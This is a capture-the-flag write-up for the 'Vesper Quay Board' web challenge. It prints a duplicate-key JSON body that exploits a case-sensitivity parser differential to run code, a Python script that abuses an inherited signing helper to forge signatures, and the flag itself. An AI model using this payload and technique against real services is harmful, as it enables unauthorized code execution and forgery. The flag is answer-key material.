CSCTF 2026 · Web · 357 pts
Vesper Quay Board.
Two JSON parsers disagree about key case, and the legacy courier path runs Python with the station signer in its environment.
| Event | CSCTF 2026, Operation Dawn (online jeopardy) |
|---|---|
| Category | Web |
| Points | 357 |
| Status | Solved during the event |
| Target | Vesper Quay warrant desk and loader (assigned container) |
TL;DR. The desk reads warrant keys case-insensitively and keeps the last match; the quay reads the exact keys courier and argv from the same body. A body with both courier/Courier passes the desk as an approved courier with argv=["status"] while the quay sees the legacy courier and executes argv=["-c", code]. That child inherits STATION_SIGN, giving an Ed25519 oracle for the key that /v1/corrections trusts.
Challenge
A release warrant was forged to divert a relief convoy. The desk approved the diversion under the sealed courier; the quay logged a different one, and the raw warrant was not retained. Only a correction signed by a release the quay actually runs is accepted, and the correction returns the verification code. The desk API is documented at /v1/openapi.json; the quay exposes its own loader endpoint.
First look
GET /v1/warrants/current returned the constants used throughout: quay QY-93B8, warrant WR-52F7, approved/sealed courier c-3fbd6c, legacy/quay courier c-5bd5f1. The desk accepted a warrant object with courier and argv; the quay ran the legacy loader when its courier ID matched the legacy one.
The correction format is RFC 8785 canonical JSON signed with Ed25519 and standard Base64:
{"applied_primary":false,"courier_id":"c-5bd5f1","quay_id":"QY-93B8",
"submission_id":"sub-...","warrant_id":"WR-52F7"}
Setting applied_primary to false stops the diversion. The missing piece was a signature from the station key.
Dead ends
- Same-case duplicate keys (
couriertwice) resolved last-wins in both parsers, so there was no differential. - Unknown plain keys such as
"x"were rejected asBAD_WARRANT; the extra key had to be a case variant of a real one. - Signing the correction with anything derived from the request failed verification; the station key is not exposed as a value.
Solution
1. Present two different warrants in one body
{"courier": "c-5bd5f1",
"argv": ["-c", "<python code>"],
"Courier": "c-3fbd6c",
"Argv": ["status"]}
The desk lowercases keys and takes the last match: c-3fbd6c (approved) with ["status"] (allowed). The quay reads courier and argv exactly: c-5bd5f1 (legacy) with ["-c", code]. The desk check passes and the quay executes the code.
2. Use the inherited signer
The loader runs the child with STATION_SIGN, SUBMISSION_ID, QUAY_ID, WARRANT_ID and COURIER_ID in its environment. The signer reads canonical bytes on stdin and writes 64 raw Ed25519 bytes. The payload only needs the five correction fields, in canonical order.
import os, json, subprocess, base64
S = os.environ["SUBMISSION_ID"]; Q = os.environ["QUAY_ID"]
W = os.environ["WARRANT_ID"]; L = os.environ["COURIER_ID"]
d = {"applied_primary": False, "courier_id": L, "quay_id": Q,
"submission_id": S, "warrant_id": W}
msg = json.dumps(d, sort_keys=True, separators=(",", ":")).encode()
sig = base64.b64encode(subprocess.run(
[os.environ["STATION_SIGN"]], input=msg, capture_output=True).stdout).decode()
print("RESULT" + json.dumps({"S": S, "sig": sig}))
The warrant response returned the marker line in quay.loader_stdout with loader_status: "ok".
3. Submit the correction
POST /v1/corrections
{"submission_id":"sub-...","applied_primary":false,
"courier_id":"c-5bd5f1","quay_id":"QY-93B8","warrant_id":"WR-52F7",
"signature":"<base64 from loader_stdout>"}
-> 200 {"clearance_code":"..."}
POST /v1/reset clears submissions and quota but leaves the warrant, so a failed attempt does not require a new instance.
Flag
CSCTF{HSjjKda0ESzhon3N15ufzI1d}What I took from it
- Both parsers used the same framework and still disagreed, because one normalised key case before lookup and the other did not. The bug was in the comparison, not the JSON parser.
- An "approved only" code path is not safe if a second consumer of the same input can select a different branch. The approval did not bind the data the quay actually used.
- Environment variables are part of the attack surface when a service executes user-supplied code. The signer was intended as an internal helper, not an oracle.